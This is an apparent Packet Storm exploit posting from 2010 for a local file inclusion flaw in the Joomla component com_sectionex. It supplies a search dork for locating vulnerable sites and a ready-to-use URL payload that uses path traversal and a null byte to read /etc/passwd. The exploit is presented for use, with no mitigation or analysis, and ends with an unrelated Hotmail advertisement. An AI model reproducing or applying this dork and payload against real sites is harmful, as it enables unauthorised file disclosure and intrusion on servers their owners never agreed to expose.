Joomla Sectionex Local File Inclusion

2010-03-15T00:00:00
ID PACKETSTORM:87217
Type packetstorm
Reporter AtT4CKxT3rR0r1ST
Modified 2010-03-15T00:00:00

Description

                                        
                                            `  
  
Joomla Component com_sectionex Local File Inclusion  
==============================================================  
  
####################################################################  
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]  
.:. Team : Sec Attack Team  
.:. Home : www.sec-attack.com/vb  
.:. Script : Joomla Component com_sectionex  
.:. Bug Type : Local File Inclusion [LFI]  
.:. Dork : inurl:"com_sectionex"  
  
####################################################################  
  
===[ Exploit ]===  
  
www.site.com/index.php?option=com_sectionex&controller=[LFI]  
www.site.com/index.php?option=com_sectionex&controller=../../../../../../../../../../etc/passwd%00  
  
####################################################################  
  
  
  
  
  
________________________________  
Hotmail: Trusted email with powerful SPAM protection. Sign up now.<https://signup.live.com/signup.aspx?id=60969>  
  
  
  
`